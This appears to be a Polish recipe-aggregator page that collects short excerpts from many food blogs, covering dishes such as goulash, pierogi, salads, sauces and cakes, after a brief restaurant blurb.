Wozownia to powrót do tradycji – tu, w klimatycznym wnętrzu, w otoczeniu starych zdjęć i zabytkowych przedmiotów codziennego użytku, znajdziesz doskonałą kuchnię polską – aromatyczną golonkę w piwie, delikatne polędwiczki w sosie kurkowym, staropolską kaczkę pieczoną w majeranku z jabłkami, czy pyszne, domowe pierogi. Zapraszamy na podróż w czasie i smaku... Wnętrza są naprawdę piękne. Bardzo klimatyczne, przytulne i oddające charakter pomieszczeń

Codzienna kuchnia niecodzienna
Ognisty gulasz z pieczarkami i pomidorami 247

aromatyczne. Ideałem byłoby użyć świeżych pomidorów, ale o tej porze roku nie ma co liczyć na pachnące i mięsiste pomidory. Pozostaje sięgnąć po pomidory z puszki - do sosów nadają się rewelacyjnie. No to zapraszam do stołu :) Składniki: około pół kg szynki wieprzowej (lub innego ulubionego mięsa), 20 dkg pieczarek , średnia cebula , puszka pomidorów , sól , ostra papryka

Codzienna kuchnia niecodzienna
Bułeczki a'la Diva 382

temperatury około 180 stopni na około 10 minut - ser powinien się roztopić lekko. Po zapieczeniu, bułki rozdzielać pomagając sobie ostrym nożem. Podawać na gorąco lub na zimno, z ulubionym sosem. Nie traktujcie mojego przepisu jako coś, czego musicie się dokładnie trzymać. To jest tylko propozycja, pomysł na ciekawie podane kanapki :) Komponujcie składniki i przyprawy w dowolny sposób

Codzienna kuchnia niecodzienna
Zraziki wołowe z marchewką, ogórkiem kiszonym, parówką i dymką 209

zagotować i przelać do zrazów. Wszystko razem dusić do miękkości podlewając wodą lub bulionem. Pod koniec duszenia posolić. Zrazy można podawać z ziemniakami, kaszą lub śląskimi kluskami. Sos powstały z duszenia można doprawić śmietaną, ale ja wolę taki naturalny, bez żadnych dodatków czy zagęszczania  :) Smacznego

Codzienna kuchnia niecodzienna
Naleśnikowe ślimaczki z wątrobianką zapiekane z żółtym serem 214

często. Lubimy naleśniki po prostu i chyba dlatego wymyślam z nich różne rzeczy :) Kiedyś pokazywałam Wam ślimaczki z serem zapiekane pod beszamelem , pamiętacie? Dzisiaj będzie inna wersja i bez sosu :) Wątrobiankę chyba zna każdy. To taki pasztet z większą ilością wątróbki, delikatniejszy w swojej strukturze, bardzo często lekko podwędzony. Pierwszy raz z naleśnikami z wątrobianką zetknęłam się

Codzienna kuchnia niecodzienna
Racuchy bananowe z dodatkiem mąki kukurydzianej 200

miękkie, wtedy ciasto jest bardziej lejące. Najlepsza konsystencja ciasta to konsystencja gęstej śmietany. Racuszki smażyć na oleju, na średnio rozgrzanym tłuszczu.  Podawać z sosami na bazie jogurtu naturalnego - ja rozmieszałam jogurt ze skórką otartą z cytryny. Smacznego

Codzienna kuchnia niecodzienna
Andrzejkowe szybkie przysmaki 258

jedne z moich ulubionych propozycji :) Na gorąco: Naleśnikowe ślimaczki z wątrobianką zapiekane z żółtym serem Piwoszki, czyli zapiekane pierożki z ciasta piwnego z farszem szpinakowym Nuggets'y z sosem musztardowo-miodowym Zupa serowa po studencku Na zimno: Sałatka z boczkiem i jajkiem Tortilla wegetariańska z pasta z czerwonej fasoli Łososiowa przekąska na szybko Na słodko: Błyskawiczny jabłecznik sypany

Codzienna kuchnia niecodzienna
Syrop piernikowy 249

Sosem korzennym częstowałam Was przy okazji przepisu na ryż z jabłkami >klik!< . Dzisiaj zapraszam na syrop, którym można posłodzić sobie herbatę czy kawę. Ma wspaniały zapach, który rozszedł się po całym domu podczas jego gotowania. Kiedy go przygotowywałam, to uświadomiłam sobie, ze Boże Narodzenie już niedługo :) Niech ten syrop będzie

Codzienna kuchnia niecodzienna
A`la flaczki z boczniaków 295

250g świeżych boczniaków 1/2 marchewki 1/2 pietruszki 1/4 selera  mała cebula sól pieprz 1/4 łyżeczki gałki muszkatołowej 1 łyżeczka majeranku 2 ziela angielskie 1 liść laurowy 2 łyżki sosu sojowego olej 1 litr wody Sposób przygotowania: Boczniaki myjemy i osuszamy papierowym ręcznikiem. Kroimy w paski, aby przypominały tradycyjne flaczki. Warzywa ścieramy na tartce o grubych oczkach. Na rozgrzaną patelnię

Truskawkowa Fiesta
Polecane książki kucharskie: Jamie Oliver – Gotuj sprytnie jak Jamie (recenzja i opinia) 217

kupować owoce i warzywa na targu czy supermarkecie, jak wykorzystać niedopite wino, jak kupować mięso w sklepie, jak przygotować tańszy, niestandardowy typ steka, jak wykorzystać pozostałość z pieczenia mięsa (sos i tłuszcz), jak wykorzystać resztki warzyw, jak wykorzystać nadmiar papryczek chilli, jak przygotowywać i przechowywać zioła, w jaki sposób przygotowywać zioła w maśle, w oliwie, suszone, co zrobić z czerstwym

WojnaNaSmaki.pl
Kanapka z marynowanym w jogurcie greckim grilowanym kurczakiem 251

plastry, cebulę na cienkie krążki. W kubeczku łączymy ketchup z majonezem. Bułki przekrawamy na dwie połowy. Kładziemy pomidora, ogórka i cebulę. Na to wszystko kładziemy kurczaka i polewamy sosem majonezowo-ketchupowym. Następnie wszystko przykrywamy drugą połową bułki. Życzę smacznego

Anielska Kuchnia Ani
Udany majonez podstawowy 281

łyżką, tak by składniki połączyły się - zrobiłam to w niedużym wąskim garnuszku Olej dolewałam po łyżce i miksowałam robotem wpierw na małych obrotach (pod koniec na szybszych), a gdy sos był coraz gęściejszy dodałam cukier, potem sok. Podczas dolewania soku do majonezu próbowałam by nie był za kwaśny. Dodałam go nie więcej jak 2 łyżki, może dlatego, że musztarda była

Proste Potrawy
Raclette, patelenka pełna smaków i zabawy 204

płytą grzewczą i dużo miseczek z warzywami świeżymi, marynowanymi cebulkami, ogóreczkami ,oliwkami, śliwkami, owocami, wspaniała jest gruszka z orzechami, a może banan, oczywiście przyda się bagietka ,przyprawy i jakieś sosy,a mogą być też konfitury z żurawiny itd.,a może ktoś wykombinuje malutki omlecik, tutaj wyobraźnia nie ma granic… Te wszystkie "wymyślne" urządzenia pozwalają na wspaniałe wspólne spędzanie czasu przy

Kulinarny karnet Christophera
Święta Wielkanocne 249

wykazywał się w kuchni ze względu na mój stan :)  Co planujemy: oczywiście żurek z białą kiełbasą w chlebie , pieczeń rzymską, schab gotowany, sałatka tradycyjna jarzynowa, jajka faszerowane, ćwikła , sos chrzanowy, babeczki i tiramisu (bez jajek). ŚWIĘCONKA Inspiracje czerpie z tego video  http://www.tvp.pl/vod/audycje/kulinaria/brodzik-od-kuchni/wideo/odcinek-2/1611568 z Joanną Brodzik, w tamtym roku przygotowywałam schab według jej przepisu jak i ozdabiałam

NA MOIM TALERZU
Placki ziemniaczane 196

ziemniaczane . Kiedyś tarłam ziemniaki ręcznie, później wykorzystywałam sokowirówkę, teraz wrzucam ziemniaki do robota kuchennego. Uwielbiam je ze śmietaną i przyprawą do zup, cieplutkie i chrupiące. Czasami podaję je z sosem i sała tką.   Polecam! Składniki: 1 kg ziemniak ów , cebula, jajko,  sól, pieprz , olej do smażenia Surowe, obrane ziemn iaki ścieram, cebulę kr oję w drobn ą kostkę

NA MOIM TALERZU
Robię sałatki w weekend 231

zapełnienie brzucha mojego smakosza :)  Ulubiona sałatka z tuńczykiem . Często jemy sałatkę z ryżu i tuńczyka. Tym razem wykorzystałam makaron conchigliette, czyli malutkie muszelki.Mmm pycha! Składniki: puszka tuńczyka w sosie własnym puszka kukurydzy 1 cebula czerwona 2 jajka 200 g makaronu  2 łyżki majonezu 4 łyżki jogurtu naturalnego 2 ząbki czosnku 2 papryki 3 ogórki kiszone pieprz, sól, papryka

NA MOIM TALERZU
Pierogi ze szpinakiem, rukolą i serem feta z nasionami chia 184

Będąc w markecie i robiąc zakupy wpadła mi w ręce paczka szpinaku typu baby. Ogólnie szpinak najczęściej ląduje w moim zielonym koktajlu, albo jako sos szpinakowy do makaronu. Ta ostatnia wersja jest jednym z ulubionych dań mojej córy. Tak, tak, moje dziecię od zawsze lubiło szpinak. Tyle, że zawsze musiał... Pierogi ze szpinakiem, rukolą i serem feta z nasionami chia

Nie Bo Piekło
Śledź z suszonymi grzybami i śliwkami / Herring with dried mushrooms and prunes 237

śledzie są wręcz niezbędnym dodatkiem na stole podczas Świąt Bożego Narodzenia. Proponuję je w troszkę innej formie niż tradycyjne marynowane, bo z suszonymi grzybami i śliwkami w aromatycznym sosie pomidorowym z ziołami. Polecam! Przepis powstał w ramach e-booka z 50 przepisami na zbliżające się Boże Narodzenie we współpracy z serwisem z PierwszegoTloczenia.pl oraz Fooder.pl . Możecie go znaleźć pod adresem

karmelowy
Kaczka pieczona świąteczna 310

Święta za pasem. Z tej okazji chciałam wam zaproponować przyrządzenie najprostszej pod słońcem kaczki w całości z pysznym sosem, idealnym np do klusek. Chyba nie ma łatwiejszego sposobu na pyszne podanie tego szlachetnego, niedocenianego drobiu. Tak więc ruszajcie do sklepów by zaopatrzyć się w polską kaczusię i do roboty :) Przepis możecie także zobaczyć w świątecznym wydaniu " Magazynu Maszkety

Bernika - moj kulinarny pamietnik
Curry z kurczaka i mango w mleku kokosowym 339

kokosowe oraz dodać gałązki trawy cytrynowej. Zagotować. Dodać pastę curry (do smaku; ja zazwyczaj jej nie żałuję). Wlać sok z limetki. Chwilę pogotować pod przykryciem. Wyjąć trawę cytrynową. Spróbować sos i ewentualnie doprawić. W osolonej wodzie ugotować na sypko ryż, a następnie podawać razem z curry. Smacznego

Food Square
Sticky buns, czyli cynamonowe bułeczki z jabłkiem w karmelowej glazurze 155

mleka szczypta soli morskiej 20 dag orzechów włoskich lub pekan Masło rozpuścić, dodać cukier, syrop, sól i mleko. Zagotować, a następnie podgrzewać przez około 5 minut aż sos zgęstnieje. Dużą blachę na ciasto wysmarować masłem i wylać nań glazurę. Wysypać orzechami. Bułeczki po odwróceniu Składniki na nadzienie: 3 jabłka 10 dag rodzynek 100 g miękkiego masła 1/2 szklanki brązowego cukru

Food Square
Sticky buns z bananem i masłem orzechowym 206

mleka szczypta soli morskiej 2 łyżki masła orzechowego  z kawałkami orzechów Masło rozpuścić, dodać cukier, syrop, sól i mleko. Zagotować, a następnie podgrzewać przez około 5 minut aż sos zgęstnieje. Dużą blachę na ciasto wysmarować masłem i wylać nań glazurę. Nadzienie: 3-4 banany 200 g mieszanki orzechów (włoskie, arachidowe, brazylijskie, laskowe, nerkowca) 50 g suszonej żurawiny lub rodzynek

Food Square
Sałatka z selerem naciowym, winogronami, roquefortem, orzechami, suszonymi pomidorami, oliwkami i makaronem 296

Orzechy posiekać i podprażyć na patelni. Pomidory odsączyć z oliwy (oliwę zostawić) i pokroić w paski. Makaron ugotować al dente w lekko osolonej wodzie. Wszystkie składniki połączyć.  Przygotować sos. Zetrzeć ząbek czosnku, połączyć z octem balsamicznym oraz kilkoma łyżkami oliwy pozostałej z pomidorów. Wymieszać razem z sałatką

Food Square
Naleśniki z beszamelem 165

przygotować beszamel. Najpierw na suchej podprażyć mąkę, następnie dodać masło i dokładnie połączyć z mąką aż do otrzymania jednolitej zasmażki. Teraz należy dolewać powoli mleko, cały czas energicznie mieszając. Sos powinien być gęsty, jednak w razie potrzeby można dolać więcej mleka. Beszamel dodać do szynki i pieczarek. Przyprawić gałką, solą i pieprzem oraz dodać drobno posiekaną pietruszkę. Każdego naleśniki posmarować

Food Square
Wrocławski Bazar Smakoszy 210

różne przetwory. Made in Portugal zachwycał nas jak zwykle pysznymi smakami prosto ze słonecznej Portugalii - oliwy, przetwory i konserwy. Kolejne włoskie stoisko  TP Italia  było pełne doskonałych sosów pesto (z koperkiem, ziołami, paprykowe, łososiowe, pomidorowe i wiele innych), a także przysmaków z truflami. Przepyszne pesto zrobiły  jednak  na nas takie wrażenie, że każdy bez zastanowienia zaopatrzył

Food Square
Ravioli z grzybami i ricottą 211

podawać od razu. Ravioli ułożyć na talerzu i polać masłem, uprzednio rozpuszczonym z gałązkami rozmarynu. Na koniec posypać parmezanem, świeżo mielonym pieprzem oraz pietruszką. Pierożki świetnie smakują również z sosem pieczeniowym, czy kwaśną śmietaną. Smacznego

Food Square
Ciepła kanapka 235

tuńczykiem. Kroimy również w kostkę kiszone ogórki. Bagietki wstawiamy do kuchenki mikrofalowej lub do piekarnika na czas roztopienia się sera. Wykładamy na półmiski i nakładamy kolejno: tuńczyka, ogórki i sos. Kanapki gotowe. Przygotowanie dania zajmuje nie więcej niż 15 minut a o obiedzie nie myśli się przez najbliższe godziny. Smacznego

Maminek kulinarny
Sałatka wielowarzywna 240

roladek i nie tylko przyda się sałatka wielowarzywna. Skład: -kapusta pekińska -papryka -ogórek -pomidor -cebula -majonez bądź olej -przyprawa warzywko -jeśli z olejem-sos sałatkowy paprykowo-ziołowy        Kilka liści kapusty pekińskiej kroimy w drobne paski a pozostałe warzywa w kostkę Przyprawiamy do smaku warzywkiem oraz niewielka ilością majonezu.    Wszystko dokładnie mieszamy i gotowe

Maminek kulinarny
Ryba w cieście 224

zapiekło. Odwracamy filety ciastem do spodu i ponownie polewamy rybę.    Smażymy na wolnym ogniu, kilka razy obracając.    Ryba jest gotowa. Świetnie smakuje z ziemniakami z sosem pomidorowym i surówką z białej kapusty. Smacznego

Maminek kulinarny
Bułeczki ziemniaczane z pieczarkami 196

temperatury 180 st. C z termoobiegiem na ok. 25 minut.    Rumiane bułeczki wyjmujemy z piekarnika.    Bułeczki można zjeść bez dodatków, ale z surówką i sosem grzybowym smakują rewelacyjnie. Smacznego

Maminek kulinarny
Parowce 151

miską i gotujemy na parze przez 10 minut.    Zdejmujemy miskę ( uwaga na gorącą parę! ) i parowce gotowe. Możemy podać na różne sposoby: -ze skwarkami i surówką -z sosem pomidorowym -odsmażane ze skwarkami i np. ketchupem -polane śmietaną i sokiem lub -polane śmietaną i posypane cukrem i cynamonem. Smacznego

Maminek kulinarny
Gołąbki z kaszą, mięsem i grzybami 206

szklanki wody i wszystko przelewamy do naczynia.    Przykrywamy i wstawiamy do piekarnika nagrzanego do temperatury 180 st. C na 50 minut. Gotowe.    Doskonale smakują z sosem pomidorowym i surówką z kiszonych ogórków. Smacznego

Maminek kulinarny
Kiełbasa biała z pieczarkami 206

plasterki.    Na niewielkiej ilości oleju podsmażamy cebulę.    Dodajemy pokrojone pieczarki a kiedy pojawi się sosik przyprawiamy solą, pieprzem i przyprawą warzywną. Smażymy do zredukowania sosu.    Zawartość patelni przekładamy do naczynia żaroodpornego. Na wierzch, lekko wciskając układamy nasze kiełbaski.    Naczynie wstawiamy do piekarnika nagrzanego do temperatury 180 st. C na 30 minut

Maminek kulinarny
Fuśka (prażucha ziemniaczana) 449

ziemniaków mąkę i tłuczemy do osiągnięcia jednolitej masy.    Nakładamy na talerz łyżką namoczoną w tłuszczu, polewamy tłuszczem ze skwarkami i gotowe. Fuśkę możemy też podawać z sosem lub gulaszem. Zapachniało wiosną... Smacznego

Maminek kulinarny
Karczek składany z farszem 198

pieprzem i czosnkiem.    Jedną cebulę i pieczarki kroimy w drobną kosteczkę. Na niewielkiej ilości oleju podsmażamy cebulkę. Dodajemy pieczarki, przyprawiamy sola i pieprzem i smażymy do odparowania sosu. Studzimy.    Do mielonego mięsa dodajemy odciśniętą bułkę, jajko i podsmażone pieczarki. Wyrabiamy masę, przyprawiając do smaku barbecue i solą.    Na plaster karkówki nakładamy farsz, składamy

Maminek kulinarny
Ryba zapiekana z pieczarkami 382

żaroodpornym układamy pieczarki. Wypełniamy je przygotowanym farszem.    Wstawiamy do piekarnika nagrzanego do temperatury 180 st. C na 30 minut.    Zapiekanka jest gotowa. Dobrze smakuje z sosem pomidorowym. Smacznego

Maminek kulinarny
Roladki z piersi kurczaka z fasolką szparagową 213

bułce tartej i układamy na patelni z rozgrzanym olejem. Smażymy na niewielkim ogniu, kilka razy obracając aż do zrumienienia.    Idealnym dodatkiem jest pomidor z cebulą oraz sos czosnkowy. Smacznego

Maminek kulinarny
Zapiekanka z włoską kapustą 212

pozostałe mięso i przykrywamy pozostałymi liśćmi.    Wstawiamy do piekarnika, nagrzanego do temperatury 160 st. C na 45 minut.    Zapiekanka jest gotowa.    Wystarczy skropić sosem pomidorowym, do tego ogóreczki kiszone z cebulką  i mniam, mniam ! Smacznego

Maminek kulinarny
Papryka faszerowana 231

Wypełniamy papryki farszem i ustawiamy w naczyniu żaroodpornym.    Wstawiamy do piekarnika nagrzanego do temperatury 170 st. C na ok. 45 minut.    Podajemy z sosem pomidorowym lub ketchupem. Smacznego

Maminek kulinarny
Susz warzywny 226

Korzystamy z tego, że warzywa są jeszcze świeże i przygotowujemy susz, który można wykorzystać do zup, sosów, duszonych mięs i innych potraw.    Ilość użytych warzyw zależy od upodobań i potrzeb. Do naszego suszu użyliśmy: -6 marchewek -korzeń pietruszki -natkę pietruszki -natkę selera -kilka ząbków czosnku -2 pomidory -paprykę -1/2 pora -2 czerwone cebule    Pokrojone warzywa

Maminek kulinarny
Bliny 189

nakładamy porcje masy ziemniaczanej, formując dość duże placki.    Wstawiamy do piekarnika na ok. 25 minut.    Na talerzu układamy dekorację.    Układamy upieczone bliny, polewamy sosem czosnkowym i delektujemy się niesamowitym smakiem. Smacznego

Maminek kulinarny
Placuszki z kalafiora 238

smaku i mieszamy.    Placuszki układamy łyżką na patelnię z rozgrzanym olejem i smażymy z obu stron do zrumienienia.    Świetnie smakują z kaszą gryczaną i sosem czosnkowym. Smacznego

Maminek kulinarny
Zapiekanka z makaronem i białą kiełbasą 233

temperatury 160 st. C na 20 minut.    Wyjmujemy z piekarnika, posypujemy żółty serem i wstawiamy do piekarnika na kolejne 5 minut.    Zapiekanka gotowa. Polewamy sosem pomidorowym lub ketchupem i delektujemy się smakiem. Smacznego

Maminek kulinarny
Naleśniki z grzybowym farszem 273

bułce tartej,  moczymy w cieście, ponownie obtaczamy w bułce tartej i układamy na patelni. Podsmażamy na rumiano z obu stron.     Naleśniki już są gotowe, ale z sosem grzybowym zyskają na smaku. Smacznego

Maminek kulinarny
Gyros domowy z kurczaka 236

papryką, sumakiem, barbecue, układamy w naczyniu, skrapiamy olejem i odstawiamy na godzinę.    Podsmażamy na niewielkiej ilości oleju, kilka razy obracając.    Wystarczy dodać frytki, warzywa i sos jogurtowy i obiad dla czterech osób gotowy. Smacznego

Maminek kulinarny
Guacamole 150

Składniki: dojrzałe awokado 2 łyżki soku z limonki ząbek czosnku, drobno posiekany 1 łyżeczka sosu tabasco 2 łyżki posiekanej cebulki sól Przygotowanie: Rozgniatamy widelcem awokado z sokiem z limonki i czosnkiem. Dodajemy resztę skladników i mieszamy. Doprawiamy do smaku. Podajemy ze świeżym pieczywem lub chipsami nachos

Smakowity Blog Kulinarny
Szparagi 197

zawierają znaczne ilości cennych składników mineralnych i witamin, ale najważniejsze, że są przepyszne! Można z nich przygotować wiele dań, najpopularniejsze są zupy, kremy, zapiekanki, sałatki. Doskonale smakują z najróżniejszymi sosami np. beszamelowym, holenderskim czy tartą bułką smażoną na maśle. Najbardziej popularne są białe i zielone, mniej fioletowe, które podobno mają najbardziej intensywny smak i zapach, są też bardziej słodkie

Smakowity Blog Kulinarny
Kurczak w estragonie 265

czym znowu sprawdzamy mięso.   Wyjmujemy kurczaka z patelni, a pozostały na patelni płyn doprowadzamy do wrzenia, wlewamy śmietanę i starannie mieszamy, doprawiamy pieprzem do smaku.   Polewamy sosem kurczaka i posypujemy świeżym estragonem. Podajemy z fasolką szparagową lub ziemniakami

Smakowity Blog Kulinarny
Makaron z cukinią 273

Pomysł na szybki obiad? U mnie najczęściej wygrywa makaron. Dzisiaj jest to makaron Fettuccine czyli "małe wstążki", które pasują do całej gamy sosów.  Składniki: 200g makaronu Fettucine lub innego 2 małe cukinie 1 cebula 2 ząbki czosnku 5 pieczarek 1 papryczka chilli natka pietruszki 2 łyżki oliwy tarty parmezan kilka pomidorów koktajlowych sól, pieprz Przygotowanie: Makaron gotujemy zgodnie

Smakowity Blog Kulinarny
Szwajcarska zapiekanka serowa 314

minutach dodajemy starte sery. Przyprawiamy białym pieprzem i solą. Ugotowany makaron mieszamy z boczkiem i cebulą, przekładamy do naczynia do zapiekania (do jednego dużego lub kilku mniejszych), polewamy sosem serowym i zapiekamy w piekarniku nagrzanym do 180 stopni około 15 minut

Smakowity Blog Kulinarny
Polska zupa z leśnych grzybów z łazankami 195

swój. Głównym składnikiem zupy są oczywiście grzyby. Najlepiej żeby były świeże, przyniesione z lasu borowiki, kozaki, prawdziwki... Zupa grzybowa powinna być zabielona, najlepiej śmietaną 12 proc. do zup i sosów. Należy pamiętać, że nigdy nie dodajemy śmietany bezpośrednio do garnka z gotującą się zupą. Najlepiej wlać kilka łyżek zupy do kubka, potem kilka łyżek śmietany i wymieszać. Całość wlać

Smakowity Blog Kulinarny
Gnocchi z masłem szałwiowym 246

można też dodać do nich ser, a mąkę pszenną zastąpić gryczaną (dla bezglutenowców). Gnocchi z powodzeniem mogą służyć jako smaczny dodatek lub samodzielne danie. Doskonale komponują się z różnymi sosami np pomidorowym, pesto, serowym czy grzybowym. Ja zapraszam dziś na gnocchi ziemniaczane podane z masełkiem szałwiowym. Klasyka i prostota kuchni włoskiej. Na eksperymenty przyjdzie jeszcze czas. Składniki: 1 kg ziemniaków

Smakowity Blog Kulinarny
Ciasto czekoladowe z migdałami, pistacjami, piankami marshmallow i karmelem 145

tortownicy. Wstawiamy do piekarnika rozgrzanego do 175 stopni C. Pieczemy 50-60 minut. Około 10 minut przed końcem pieczenia przykrywamy je kawałkiem folii aluminiowej. Upieczone ciasto nakłuwamy wykałaczką. Polewamy sosem karmelowym, posypujemy resztą pistacji i migdałów oraz posiekanymi piankami. Ponownie wstawiamy do piekarnika. Pieczemy jeszcze 5 minut w takiej samej temperaturze. Studzimy w uchylonym piekarniku

Smakowity Blog Kulinarny
Sałatka z mango, awokado i wołowiną 211

mięso kładziemy na wyłożonej pergaminem blaszce i wstawiamy do piekarnika rozgrzanego do 180 stopni C na 2-3 minuty. Wyjmujemy z piekarnika i odstawiamy. Dressing:  mieszamy wszystkie składniki sosu (poza olejem) i mieszamy. W trakcie mieszania stopniowo dodajemy olej, aż powstanie aksamitna emulsja. Sałatka:  Rukolę i sałatę myjemy i osuszamy. Mango obieramy i kroimy w kostkę. Cebulkę kroimy

Smakowity Blog Kulinarny
Sałatka z bobu z dressingiem czosnkowo-miętowym 211

osolonej wodzie do miękkości. Obieramy z zewnętrznej osłonki. Dressing:  Wyciskamy sok z cytryny, dodajemy sól, pieprz, czosnek, olej z czosnkiem i drobno pokrojone listki mięty. Mieszamy składniki sosu, aż powstanie gładka emulsja. Przygotowanym dressingiem polewamy bób, dokładnie mieszamy i w razie potrzeby doprawiamy solą i pieprzem.   Gość w kadrze;)  Przepis bierze udział w konkursie "Kujawski ze smakiem

Smakowity Blog Kulinarny
Sałatka z jabłkiem, gorgonzolą i kurczakiem 219

dużą kostkę i skrapiamy sokiem z cytryny. W misce mieszamy roszponkę z pokrojonym jabłkiem, pokruszonym serem, żurawiną i kiełkami. Na wierzchu układamy kawałki kurczaka i posypujemy orzechami. Przygotowujemy sos: w soku z 1/2 cytryny rozpuszczamy szczyptę soli, dodajemy musztardę, pieprz. Wlewamy saszetkę oleju Kujawskiego z czosnkiem i bazylią i mieszamy, aż powstanie aksamitna emulsja. Sałatkę polewamy przygotowanym dressingiem.  Przepis bierze

Smakowity Blog Kulinarny
Szarlotka z solonym karmelem 180

natychmiast, ale powoli dodajemy śmietanę (uwaga, bo mieszanina szybko zacznie parować i "bąbelkować"). Karmel dokładnie mieszamy trzepaczką, dodajemy sól i odstawiamy do ostygnięcia. *Z podanych proporcji otrzymamy więcej sosu karmelowego niż potrzebujemy do szarlotki (dzięki większym proporcjom łatwiej uniknąć spalenia). Resztę możemy przechowywać w lodówce do 3 tygodni. Kruche ciasto:  Mąkę przesiewamy na stolnicę, wsypujemy cukier, dodajemy posiekane nożem

Smakowity Blog Kulinarny
Tarta z łososiem i kurkami 240

zioła. Jajka roztrzepujemy widelcem, dodajemy tarty parmezan, pieprz i sól. Na podpieczonym spodzie rozkładamy masę grzybową. Łososia kroimy w kostkę i układamy na farszu z grzybów i serka. Zalewamy sosem jajeczno-serowym. Pieczemy około 25 minut

Smakowity Blog Kulinarny
Gołąbki z soczewicą 212

minut do piekarnika nagrzanego  do 180 stopni C. Po tym czasie zdejmujemy pokrywkę i pieczemy jeszcze około 10 minut, aż gołąbki się lekko przyrumienią. Do podania możemy przygotować sos pomidorowy

Smakowity Blog Kulinarny
PLACKI ZIEMNIACZANE Z MARCHEWKĄ 285

Takie placuszki ja zjadam podobnie jak tradycyjne ziemniaczane, bez żadnych dodatków, gorące prosto z patelni, posypane jedynie odrobiną cukru. Ale oczywiście możemy je zjadać ze śmietaną, ulubioną surówką czy sosem na zimno.  Wybór dodatków dowolny.  Koniecznie wypróbujcie przepis! Składniki: 5 ziemniak ów 1 cebula 1 jajko 2 duże marchewki sól pieprz 2 czubate łyżki mąki olej do smażenia

Walijskie Pichcenie
Calzone z mięsem mielonym 228

smarujemy je z wierzchu żółtkiem i posypujemy ziołami prowansalskimi, po czym wkładamy do piekarnika nagrzanego do 200 stopni Celsjusza i pieczemy przez 25 minut. Gotowe podajemy z keczupem lub sosem czosnkowym. Smacznego

W poszukiwaniu inspiracji
Maślane steki z rekina z cytrynowo - miodowym dressingiem 223

płatki masła  Przygotowanie: Rybę rozmrażamy i osuszamy papierowymi ręczniczkami. W międzyczasie przygotowujemy dressing - mieszamy ze sobą płynne składniki, doprawiamy i dodajemy pokrojony w drobną kostkę czosnek. Tak przygotowany sos zostawiamy na godzinę żeby składniki się "przegryzły". Przygotowujemy 4 kwadraty z folii aluminiowej. Na każdym układamy kilka płatków masła. Rybę przyprawiamy pieprzem cytrynowym i solą, układamy na kwadratach z folii

W poszukiwaniu inspiracji
Sałatka a’la Cezar 398

pochodzi z www.mgotuje.pl Sałatka Cezar w moim wydaniu. Pieczony kurczak podany na sałacie z dodatkiem chrupiących grzanek i chipsów z boczku. Cały smak dopełnia sos, który jest ostry i wyrazisty w smaku. Sałatkę posypałam prażonymi ziarnami, od których stałam się ostatnio uzależniona. Dodaję je do większości moich dań

Marta Gotuje
Frykadelki orkiszowe z sałatką 192

pietruszkę, wymieszać. Dodać starty ser i dobrze wymieszać. Uformować kotleciki. Smażyć na oleju około 10-12 minut, na małym ogniu. Przygotować sałatkę z pomidora i zielonej sałaty i polać sosem  z oliwki i cytryny. Oprószyć pieprzem. Usmażone frykadelki podawać z sałatką. Orkiszowe kotleciki mają fenomenalny smak podobny do mięsa. Mięsożercy powinni być usatysfakcjonowani

Kulinarny karnet Christophera
Bułeczki z parówką " ziołowe gąsieniczki " 258

ziołami ,dodatkowo można posypać je serem żółtym ale niestety zabrakło mi go :)  .  Taką bułeczką gąsieniczką ,będą zachwycone zarówno dzieci jak i dorośli, można podać je z sosem czosnkowym jak i ketchupem. Składniki (na 5 bułek):  200 ml letniego mleka  2 łyżeczki cukru 20 g świeżych drożdży 1 łyżeczka soli 1/3 szkl oleju roślinnego 2 szkl mąki

Ciasta ciastka ciasteczka Słodka chwila zapomnienia
Domowy makaron cynamonowy - przepis świąteczny 262

Jest wiele tradycyjnych dań, ale ja co roku staram się zrobić coś nowego. Połączyłam smaki, które bardzo mi przypominają dzień Wigilii.Tak powstał makaron cynamonowy ze słodkim nadzieniem maku polewany sosem pomarańczowo- waniliowym, ale o tym w następnym poście.   SKŁADNIKI: 200 g semoliny (można zastąpić mąką pszenną) 2 jajka szczyptę soli 1 łyżeczka pełna cynamonu  SPOSÓB WYKONANIA: - semolinę mieszamy

Basia w kuchni
A po drugie... 199

mleko) zawsze mamy w domu, w koszyczku znalazła się akurat czerwona cebula (ale równie dobrze można użyć zwykłej), a w lodówce leżało troszkę sera, który C. kupił do beszamelu. Sosu nie było, ser został. Poszperałam więc w książce Pieczenie chleba w domu Gertrud Weidenger i Maire-Theres Wiener, i znalazłam przepis idealny. To znaczy idealny do modyfikacji, które zamierzałam przeprowadzić

Pożeraczka, czyli raz adobrze
Pierwsza gorąca herbata w zimny wieczór. I placuszki 280

fioletowa, bezprzewodowa myszka ( jupi! ); była też wspaniała kolacja składająca się między innymi z szampana, czerwonego wina (w umiarkowanych ilościach, bo w niedzielę musiałam wstać o piątej), przepysznej sarniny z sosem na bazie czerwonego wina, gotowanych warzyw i lodów w nieograniczonej ilości na deser. Nigdy w życiu bym nie pomyślała, że takie rzeczy będę jadła na własnym stole, i że ktoś

Pożeraczka, czyli raz adobrze
O nie gotowaniu obiadów. I krem z pora 280

piekę, C. gotuje - taki panuje podział zajęć w naszym domu. Gdy C. robi obiad, troszkę pomagam - obieram ziemniaki, gotuję ryż, kroję marchewki czy mięso, mieszam sos w garnku. Ustawiam minutnik. A potem zmywam, a C. wyciera naczynia. Oboje uważamy to za sprawiedliwy system, nikt nie narzeka i nie ma obiekcji.  Jeśli C. pracuje po południu, dzień wcześniej zazwyczaj robi

Pożeraczka, czyli raz adobrze
Ser dobry na wszystko. Nawet na brak Świąt... 254

mlekiem, posypać dodatkowo solą i pieprzem.  Piec w 180 st. C. przez 30-40 minut, aż ciasto będzie złoto-brązowe. Wystudzić na kratce. Smacznego! Jakaś nie w sosie jestem - głowa ciągle mnie boli, smak rumianku zbrzydł mi już całkowicie, i zupełnie nie wiem, co ze sobą zrobić... Może jednak ta pascha poprawiłaby mi humor

Pożeraczka, czyli raz adobrze
Idea posiłku, czyli czym jest frokost 1421

smakuje. Odrobina gałki muszkatołowej nadała potrawie ciekawego akcentu. C. stwierdził, że odrobina czosnku i chilli by nie zaszkodziła, i ja się z nim w pełni zgadzam. Zjedliśmy ją z sosem czosnkowym, który dodatkowo nadał jej charakteru. Całość wyszła naprawdę fantastyczna, zjedliśmy trzy czwarte na jeden raz. Polecam Wam serdecznie, nie tylko na lunch. Tarta z porami i kurczakiem Składniki

Pożeraczka, czyli raz adobrze
Letni tort na urodziny C. 216

